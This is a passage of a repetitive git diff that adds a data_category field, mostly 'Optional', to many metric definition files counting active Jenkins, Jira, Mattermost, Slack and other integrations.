--- a/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175939_projects_inheriting_jenkins_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_jenkins_active
description: Count of active projects inheriting integrations for Jenkins
product_section: dev
diff --git a/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml b/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml
index 1e5d400a385..d3fff6d2081 100644
--- a/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml
+++ b/config/metrics/counts_all/20210216175941_groups_inheriting_jenkins_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_jenkins_active
description: Count of active groups inheriting integrations for Jenkins
product_section: dev
diff --git a/config/metrics/counts_all/20210216175943_projects_jira_active.yml b/config/metrics/counts_all/20210216175943_projects_jira_active.yml
index 4bc46c3ca2a..77437903f5b 100644
--- a/config/metrics/counts_all/20210216175943_projects_jira_active.yml
+++ b/config/metrics/counts_all/20210216175943_projects_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Operational
key_path: counts.projects_jira_active
description: Count of projects with active integrations for Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216175945_groups_jira_active.yml b/config/metrics/counts_all/20210216175945_groups_jira_active.yml
index 0b8923f669c..3b6dbb13cda 100644
--- a/config/metrics/counts_all/20210216175945_groups_jira_active.yml
+++ b/config/metrics/counts_all/20210216175945_groups_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_jira_active
description: Count of groups with active integrations for Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216175946_templates_jira_active.yml b/config/metrics/counts_all/20210216175946_templates_jira_active.yml
index be7b2c43d2e..1f594a22f20 100644
--- a/config/metrics/counts_all/20210216175946_templates_jira_active.yml
+++ b/config/metrics/counts_all/20210216175946_templates_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_jira_active
description: Count of active service templates for Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216175948_instances_jira_active.yml b/config/metrics/counts_all/20210216175948_instances_jira_active.yml
index 8b10ec30d5f..dfe5242dd35 100644
--- a/config/metrics/counts_all/20210216175948_instances_jira_active.yml
+++ b/config/metrics/counts_all/20210216175948_instances_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_jira_active
description: Count of active instance-level integrations for Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml b/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml
index 6e3d01b0382..d1fc604e1de 100644
--- a/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml
+++ b/config/metrics/counts_all/20210216175950_projects_inheriting_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_jira_active
description: Count of active projects inheriting integrations for Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml b/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml
index 21148f3b62b..e94b051cb8f 100644
--- a/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml
+++ b/config/metrics/counts_all/20210216175952_groups_inheriting_jira_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_jira_active
description: Count of active groups inheriting integrations for Jira
product_section: dev
diff --git a/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml b/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml
index dc81192fd9d..45c54c82b60 100644
--- a/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175954_projects_mattermost_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_mattermost_active
description: Count of projects with active integrations for Mattermost
product_section: dev
diff --git a/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml b/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml
index 1a7a8fb69f6..21672075af2 100644
--- a/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175956_groups_mattermost_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_mattermost_active
description: Count of groups with active integrations for Mattermost
product_section: dev
diff --git a/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml b/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml
index f1ec412d47c..56dbdde346d 100644
--- a/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175957_templates_mattermost_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_mattermost_active
description: Count of active service templates for Mattermost
product_section: dev
diff --git a/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml b/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml
index 8d1bab49e61..f52e3d338a7 100644
--- a/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216175959_instances_mattermost_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_mattermost_active
description: Count of active instance-level integrations for Mattermost
product_section: dev
diff --git a/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml b/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml
index 64dcfaa0d8d..e465b4cbef4 100644
--- a/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216180001_projects_inheriting_mattermost_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_mattermost_active
description: Count of active projects inheriting integrations for Mattermost
product_section: dev
diff --git a/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml b/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml
index b6d52295217..06de0396903 100644
--- a/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml
+++ b/config/metrics/counts_all/20210216180003_groups_inheriting_mattermost_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_mattermost_active
description: Count of active groups inheriting integrations for Mattermost
product_section: dev
diff --git a/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml
index 5174090a00f..9a85ae8312c 100644
--- a/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180005_projects_mattermost_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_mattermost_slash_commands_active
description: Count of projects with active integrations for Mattermost (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml
index f7d2e6d99bc..6f4f6650546 100644
--- a/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180006_groups_mattermost_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_mattermost_slash_commands_active
description: Count of groups with active integrations for Mattermost (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml
index 375908862a6..43a5f626869 100644
--- a/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180008_templates_mattermost_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_mattermost_slash_commands_active
description: Count of active service templates for Mattermost (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml
index f0cb0cd24f9..53aa6d27527 100644
--- a/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180010_instances_mattermost_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_mattermost_slash_commands_active
description: Count of active instance-level integrations for Mattermost (slash commands)
product_section: dev
diff --git a/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml
index b79a39c6c13..891fac7c787 100644
--- a/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180012_projects_inheriting_mattermost_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_mattermost_slash_commands_active
description: Count of active projects inheriting integrations for Mattermost (slash
commands)
diff --git a/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml b/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml
index f9f9a438ad2..c8c36866d44 100644
--- a/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml
+++ b/config/metrics/counts_all/20210216180014_groups_inheriting_mattermost_slash_commands_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_mattermost_slash_commands_active
description: Count of active groups inheriting integrations for Mattermost (slash
commands)
diff --git a/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml
index e248d714da4..560b42cde77 100644
--- a/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180016_projects_microsoft_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_microsoft_teams_active
description: Count of projects with active integrations for Microsoft Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml
index 6d53d5675ed..dc7371d1745 100644
--- a/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180018_groups_microsoft_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_microsoft_teams_active
description: Count of groups with active integrations for Microsoft Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml
index bde0e661245..370419aff59 100644
--- a/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180019_templates_microsoft_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_microsoft_teams_active
description: Count of active service templates for Microsoft Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml
index eff81283775..610d09a68b5 100644
--- a/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180021_instances_microsoft_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_microsoft_teams_active
description: Count of active instance-level integrations for Microsoft Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml
index ac3c4bad7c0..a2c085f30e5 100644
--- a/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180023_projects_inheriting_microsoft_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_microsoft_teams_active
description: Count of active projects inheriting integrations for Microsoft Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml b/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml
index 6a39f71d40b..be22c7830f3 100644
--- a/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml
+++ b/config/metrics/counts_all/20210216180025_groups_inheriting_microsoft_teams_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_microsoft_teams_active
description: Count of active groups inheriting integrations for Microsoft Teams
product_section: dev
diff --git a/config/metrics/counts_all/20210216180027_projects_packagist_active.yml b/config/metrics/counts_all/20210216180027_projects_packagist_active.yml
index 108c883b16a..ec5ac451d71 100644
--- a/config/metrics/counts_all/20210216180027_projects_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180027_projects_packagist_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_packagist_active
description: Count of projects with active integrations for Packagist
product_section: dev
diff --git a/config/metrics/counts_all/20210216180029_groups_packagist_active.yml b/config/metrics/counts_all/20210216180029_groups_packagist_active.yml
index 635b98063b6..0d75f771ea0 100644
--- a/config/metrics/counts_all/20210216180029_groups_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180029_groups_packagist_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_packagist_active
description: Count of groups with active integrations for Packagist
product_section: dev
diff --git a/config/metrics/counts_all/20210216180030_templates_packagist_active.yml b/config/metrics/counts_all/20210216180030_templates_packagist_active.yml
index 80c06a4666d..61d9f15add0 100644
--- a/config/metrics/counts_all/20210216180030_templates_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180030_templates_packagist_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_packagist_active
description: Count of active service templates for Packagist
product_section: dev
diff --git a/config/metrics/counts_all/20210216180032_instances_packagist_active.yml b/config/metrics/counts_all/20210216180032_instances_packagist_active.yml
index 15fc1ebef92..ae4f5f06814 100644
--- a/config/metrics/counts_all/20210216180032_instances_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180032_instances_packagist_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_packagist_active
description: Count of active instance-level integrations for Packagist
product_section: dev
diff --git a/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml b/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml
index 6bb67500dd8..08d464c2213 100644
--- a/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180034_projects_inheriting_packagist_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_packagist_active
description: Count of active projects inheriting integrations for Packagist
product_section: dev
diff --git a/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml b/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml
index c47f2e3d363..569a7eb8306 100644
--- a/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml
+++ b/config/metrics/counts_all/20210216180036_groups_inheriting_packagist_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_packagist_active
description: Count of active groups inheriting integrations for Packagist
product_section: dev
diff --git a/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml b/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml
index 6f358cd4945..3b45c9f9947 100644
--- a/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180038_projects_pipelines_email_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_pipelines_email_active
description: Count of projects with active integrations for Pipeline Emails
product_section: dev
diff --git a/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml b/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml
index be9042317fc..fddcd9a9146 100644
--- a/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180040_groups_pipelines_email_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_pipelines_email_active
description: Count of groups with active integrations for Pipeline Emails
product_section: dev
diff --git a/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml b/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml
index 84fe24687e2..701d75a9684 100644
--- a/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180041_templates_pipelines_email_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_pipelines_email_active
description: Count of active service templates for Pipeline Emails
product_section: dev
diff --git a/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml b/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml
index 8206ba25598..178baadc070 100644
--- a/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180043_instances_pipelines_email_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_pipelines_email_active
description: Count of active instance-level integrations for Pipeline Emails
product_section: dev
diff --git a/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml b/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml
index ff16dcbe7ce..cd7e583c50e 100644
--- a/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180045_projects_inheriting_pipelines_email_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_pipelines_email_active
description: Count of active projects inheriting integrations for Pipeline Emails
product_section: dev
diff --git a/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml b/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml
index d16cccfe6d8..cce5ac08de0 100644
--- a/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml
+++ b/config/metrics/counts_all/20210216180047_groups_inheriting_pipelines_email_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_pipelines_email_active
description: Count of active groups inheriting integrations for Pipeline Emails
product_section: dev
diff --git a/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml
index 12d1ce1de38..99326cea857 100644
--- a/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180049_projects_pivotaltracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_pivotaltracker_active
description: Count of projects with active integrations for Pivotal Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml
index a52c3edc339..7045d5e34b3 100644
--- a/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180051_groups_pivotaltracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_pivotaltracker_active
description: Count of groups with active integrations for Pivotal Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml
index eae2d8b2822..7be62a78316 100644
--- a/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180052_templates_pivotaltracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_pivotaltracker_active
description: Count of active service templates for Pivotal Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml
index eade998165c..1c5a93d709a 100644
--- a/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180054_instances_pivotaltracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_pivotaltracker_active
description: Count of active instance-level integrations for Pivotal Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml
index 5d6f67a94b7..472d2aa43fb 100644
--- a/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180056_projects_inheriting_pivotaltracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_pivotaltracker_active
description: Count of active projects inheriting integrations for Pivotal Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml b/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml
index 8377d603000..184aea3687d 100644
--- a/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml
+++ b/config/metrics/counts_all/20210216180058_groups_inheriting_pivotaltracker_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_pivotaltracker_active
description: Count of active groups inheriting integrations for Pivotal Tracker
product_section: dev
diff --git a/config/metrics/counts_all/20210216180100_projects_pushover_active.yml b/config/metrics/counts_all/20210216180100_projects_pushover_active.yml
index fb9a2146ebc..d3185fc46ac 100644
--- a/config/metrics/counts_all/20210216180100_projects_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180100_projects_pushover_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_pushover_active
description: Count of projects with active integrations for Pushover
product_section: dev
diff --git a/config/metrics/counts_all/20210216180102_groups_pushover_active.yml b/config/metrics/counts_all/20210216180102_groups_pushover_active.yml
index 0cf7c1bd572..c44a4d69fe9 100644
--- a/config/metrics/counts_all/20210216180102_groups_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180102_groups_pushover_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_pushover_active
description: Count of groups with active integrations for Pushover
product_section: dev
diff --git a/config/metrics/counts_all/20210216180104_templates_pushover_active.yml b/config/metrics/counts_all/20210216180104_templates_pushover_active.yml
index fdee417531f..a3e72973cc5 100644
--- a/config/metrics/counts_all/20210216180104_templates_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180104_templates_pushover_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_pushover_active
description: Count of active service templates for Pushover
product_section: dev
diff --git a/config/metrics/counts_all/20210216180105_instances_pushover_active.yml b/config/metrics/counts_all/20210216180105_instances_pushover_active.yml
index bde6cf54e35..b327d19929a 100644
--- a/config/metrics/counts_all/20210216180105_instances_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180105_instances_pushover_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_pushover_active
description: Count of active instance-level integrations for Pushover
product_section: dev
diff --git a/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml b/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml
index 44856dfe647..7326ed1cc0b 100644
--- a/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180107_projects_inheriting_pushover_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_pushover_active
description: Count of active projects inheriting integrations for Pushover
product_section: dev
diff --git a/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml b/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml
index 8e1ff124e43..bb235f34c2a 100644
--- a/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml
+++ b/config/metrics/counts_all/20210216180109_groups_inheriting_pushover_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_pushover_active
description: Count of active groups inheriting integrations for Pushover
product_section: dev
diff --git a/config/metrics/counts_all/20210216180111_projects_redmine_active.yml b/config/metrics/counts_all/20210216180111_projects_redmine_active.yml
index 228827a60c6..9fdafd52921 100644
--- a/config/metrics/counts_all/20210216180111_projects_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180111_projects_redmine_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_redmine_active
description: Count of projects with active integrations for Redmine
product_section: dev
diff --git a/config/metrics/counts_all/20210216180113_groups_redmine_active.yml b/config/metrics/counts_all/20210216180113_groups_redmine_active.yml
index 10de4fb9743..2fa05ce7c92 100644
--- a/config/metrics/counts_all/20210216180113_groups_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180113_groups_redmine_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_redmine_active
description: Count of groups with active integrations for Redmine
product_section: dev
diff --git a/config/metrics/counts_all/20210216180115_templates_redmine_active.yml b/config/metrics/counts_all/20210216180115_templates_redmine_active.yml
index 89efedbc7fc..87819195ab2 100644
--- a/config/metrics/counts_all/20210216180115_templates_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180115_templates_redmine_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_redmine_active
description: Count of active service templates for Redmine
product_section: dev
diff --git a/config/metrics/counts_all/20210216180116_instances_redmine_active.yml b/config/metrics/counts_all/20210216180116_instances_redmine_active.yml
index a10db3fa2ad..45a9c7e6544 100644
--- a/config/metrics/counts_all/20210216180116_instances_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180116_instances_redmine_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_redmine_active
description: Count of active instance-level integrations for Redmine
product_section: dev
diff --git a/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml b/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml
index 6809afa4d4a..8b2dff7e6b7 100644
--- a/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180118_projects_inheriting_redmine_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_redmine_active
description: Count of active projects inheriting integrations for Redmine
product_section: dev
diff --git a/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml b/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml
index 9ae0bc0bfd7..79afa2e049f 100644
--- a/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml
+++ b/config/metrics/counts_all/20210216180120_groups_inheriting_redmine_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_redmine_active
description: Count of active groups inheriting integrations for Redmine
product_section: dev
diff --git a/config/metrics/counts_all/20210216180122_projects_slack_active.yml b/config/metrics/counts_all/20210216180122_projects_slack_active.yml
index 3a5bec84a58..5e7a9c2a947 100644
--- a/config/metrics/counts_all/20210216180122_projects_slack_active.yml
+++ b/config/metrics/counts_all/20210216180122_projects_slack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_slack_active
description: Count of projects with active integrations for Slack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180124_groups_slack_active.yml b/config/metrics/counts_all/20210216180124_groups_slack_active.yml
index c63632dd59b..c37e9f9140a 100644
--- a/config/metrics/counts_all/20210216180124_groups_slack_active.yml
+++ b/config/metrics/counts_all/20210216180124_groups_slack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_slack_active
description: Count of groups with active integrations for Slack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180126_templates_slack_active.yml b/config/metrics/counts_all/20210216180126_templates_slack_active.yml
index 0bee63532a4..29d0395f65f 100644
--- a/config/metrics/counts_all/20210216180126_templates_slack_active.yml
+++ b/config/metrics/counts_all/20210216180126_templates_slack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.templates_slack_active
description: Count of active service templates for Slack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180127_instances_slack_active.yml b/config/metrics/counts_all/20210216180127_instances_slack_active.yml
index 3a74a68251d..cc5b7bf37cf 100644
--- a/config/metrics/counts_all/20210216180127_instances_slack_active.yml
+++ b/config/metrics/counts_all/20210216180127_instances_slack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.instances_slack_active
description: Count of active instance-level integrations for Slack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml b/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml
index 304d780314f..3a74804a708 100644
--- a/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml
+++ b/config/metrics/counts_all/20210216180129_projects_inheriting_slack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.projects_inheriting_slack_active
description: Count of active projects inheriting integrations for Slack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml b/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml
index ebb7b88d10b..2c3b609c62c 100644
--- a/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml
+++ b/config/metrics/counts_all/20210216180131_groups_inheriting_slack_active.yml
@@ -1,4 +1,5 @@
---
+data_category: Optional
key_path: counts.groups_inheriting_slack_active
description: Count of active groups inheriting integrations for Slack
product_section: dev
diff --git a/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml b/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml
index 06c45e12040..123e54a476e 100644
--- a/config/metrics/counts_all/20210216180133_projects_slack_slash_commands_active.yml
